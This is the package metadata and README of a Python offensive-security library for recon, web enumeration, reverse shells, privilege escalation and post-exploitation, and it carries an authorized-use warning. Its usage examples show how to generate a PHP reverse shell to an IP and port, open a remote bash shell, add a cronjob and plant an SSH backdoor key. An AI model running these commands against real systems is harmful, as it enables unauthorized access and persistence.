Metadata-Version: 2.4
Name: hwatlib
Version: 0.3.0
Summary: A practical penetration testing wrapper library for recon, web, exploitation, and post-exploitation.
Author-email: HwatSauce <muhammadabdullah8040@gmail.com>
License: MIT
Project-URL: Homepage, https://github.com/iabdullah215/hwatlib
Classifier: Programming Language :: Python :: 3
Classifier: Programming Language :: Python :: 3.9
Classifier: Programming Language :: Python :: 3.10
Classifier: Programming Language :: Python :: 3.11
Classifier: Programming Language :: Python :: 3.12
Classifier: License :: OSI Approved :: MIT License
Classifier: Operating System :: OS Independent
Classifier: Topic :: Security
Classifier: Topic :: Software Development :: Libraries :: Python Modules
Requires-Python: >=3.9
Description-Content-Type: text/markdown
License-File: LICENSE
Requires-Dist: requests<3,>=2.31
Requires-Dist: beautifulsoup4<5,>=4.12
Requires-Dist: paramiko<4,>=3.4
Requires-Dist: python-nmap<0.8,>=0.7.1
Requires-Dist: defusedxml<0.8,>=0.7
Requires-Dist: tomli<3,>=2.0.1; python_version < "3.11"
Provides-Extra: dev
Requires-Dist: pytest<10,>=8; extra == "dev"
Requires-Dist: pytest-cov<7,>=5; extra == "dev"
Requires-Dist: ruff<1,>=0.6; extra == "dev"
Requires-Dist: mypy<2,>=1.11; extra == "dev"
Requires-Dist: types-requests<3,>=2.32; extra == "dev"
Requires-Dist: pre-commit<5,>=3; extra == "dev"
Provides-Extra: security
Requires-Dist: bandit[toml]<2,>=1.7; extra == "security"
Requires-Dist: pip-audit<3,>=2.7; extra == "security"
Provides-Extra: docs
Requires-Dist: pdoc<16,>=14; extra == "docs"
Provides-Extra: async
Requires-Dist: aiohttp<4,>=3.9; extra == "async"
Provides-Extra: dns
Requires-Dist: dnspython<3,>=2.6; extra == "dns"
Dynamic: license-file

# hwatlib

A practical pentesting and exploitation library with wrappers for recon, web enumeration, reverse shells, and privilege escalation.

> ⚠️ **Authorized use only.** `hwatlib` is offensive-security tooling. Use it
> **only** against systems you own or have **explicit, prior, written
> permission** to test. Unauthorized access to computer systems is illegal in
> most jurisdictions, and you are solely responsible for how you use this
> software. See [SECURITY.md](SECURITY.md) for the full responsible-use policy.
> The CLIs print this reminder to stderr on each run; set `HWAT_NO_BANNER=1` to
> silence it in authorized, scripted environments.

---

To install, run:

```bash
pip3 install hwatlib
```

## Local Development

From the repository root:

```bash
pip3 install -e .
```

## Basic Usage

```python3
from hwatlib import exploit, privesc, recon, web

# Recon example
recon.init("example.com", add_to_hosts=True)
recon.nmap_scan()
recon.banner_grab()

# Web enumeration
web.fetch_all("http://example.com")

# Exploit (reverse shell)
exploit.php_reverse_shell("10.0.0.1", 4444)
```

## Privilege Escalation

```python3
from hwatlib import privesc

# Run various local privesc checks
privesc.run_checks()
privesc.enumerate_sudo()
privesc.enumerate_cron()
privesc.kernel_exploits()
```

## Custom IO / Remote Exploitation

```python3
from hwatlib import exploit

# Connect to remote host
remote = exploit.connect_remote("10.0.0.1", 31337)
remote.run_shell("bash")
```

## Web Exploitation

```python3
from hwatlib import web

# Fetchers and enumeration
web.fetch_headers("http://example.com")
web.fetch_forms("http://example.com/login")
web.fetch_js("http://example.com")

```

## CLI

After installation, these commands are available:

```bash
hwat report <target>
hwat-recon <target>
hwat-web <url>
hwat-exploit <ip> <port>
hwat-privesc          # privesc + post-exploitation checks and actions
hwat-postex           # post-exploitation recon report

# State-changing actions are gated behind --confirm
hwat-privesc add-cronjob "id" --schedule "*/5 * * * *" --confirm
hwat-privesc backdoor-ssh "ssh-ed25519 AAAA..." --confirm
```

### Unified Report CLI

Generate a read-only report (JSON printed to stdout by default):

```bash
hwat report example.com
```

Write report outputs:

```bash
hwat report example.com --out-json report.json --out-md report.md
```

Sitemap export:

```bash
hwat report https://example.com --sitemap-json sitemap.json --sitemap-csv sitemap.csv
```

Plugins:

```bash
hwat report example.com --list-plugins
hwat report example.com --plugin mypkg.mychecks:check
```

### Config / Profiles

By default, hwatlib looks for `~/.config/hwat/config.toml`.

Example:

```toml
[profiles.default.http]
timeout = 7.5
verify = true
rate_limit_per_sec = 2.0

[profiles.default.http.proxies]
http = "http://127.0.0.1:8080"
https = "http://127.0.0.1:8080"

[profiles.default.http.headers]
User-Agent = "hwatlib"
```

Select a profile:

```bash
hwat report example.com --profile default
```

### Config Validation

`hwatlib.config.load_config()` validates both TOML and environment values.
Malformed or out-of-range values are ignored with a warning and safe defaults are used.

If you want fail-fast behavior for CI or production hardening, enable strict mode:

- Python API: `load_config(..., strict=True)`
- Environment: `HWAT_CONFIG_STRICT=1`

In strict mode, invalid/malformed/out-of-range config values raise `ValueError`.

Validated HTTP fields and ranges:

- `timeout`: `0.001..300.0`
- `rate_limit_per_sec`: `0.001..10000.0` (or unset)
- `max_concurrency`: `1..1000`
- `retries`: `0..20`
- `backoff_factor`: `0.0..60.0`
- `verify`: strict boolean (`true/false`, `1/0`, `yes/no`, `on/off` for env)

Environment overrides:

- `HWAT_TIMEOUT`
- `HWAT_VERIFY`
- `HWAT_RATE_LIMIT_PER_SEC`
- `HWAT_MAX_CONCURRENCY`
- `HWAT_RETRIES`
- `HWAT_BACKOFF_FACTOR`
- `HWAT_CONFIG_STRICT`
- `HWAT_PROXY_HTTP`
- `HWAT_PROXY_HTTPS`
- `HWAT_HEADERS_JSON`
- `HWAT_COOKIES_JSON`

Example:

```bash
export HWAT_TIMEOUT=7.5
export HWAT_VERIFY=true
export HWAT_MAX_CONCURRENCY=50
export HWAT_HEADERS_JSON='{"User-Agent":"hwatlib"}'
```

Hwatlib is under continuous development and more features for pentesting, recon, exploitation, and post-exploitation will be added.

## Examples & API Documentation

Runnable examples live in [`examples/`](examples/) (payload generation is offline;
recon/web examples require an authorized target).

API reference docs are generated from docstrings with [`pdoc`](https://pdoc.dev/):

```bash
pip install -e ".[docs]"
make docs          # writes a static site to ./site
make docs-serve    # serves live docs at http://localhost:8080
```

## Safer Defaults

- HTTPS requests verify TLS certificates by default. If you *explicitly* need to disable verification, pass `verify=False` (and optionally `suppress_insecure_warning=True`) to `hwatlib.utils.fetch_url()`.
- State-changing post-exploitation helpers require explicit confirmation. For example, use `postex.add_cronjob_confirmed(..., confirm=True)` or `postex.backdoor_ssh_confirmed(..., confirm=True)`.
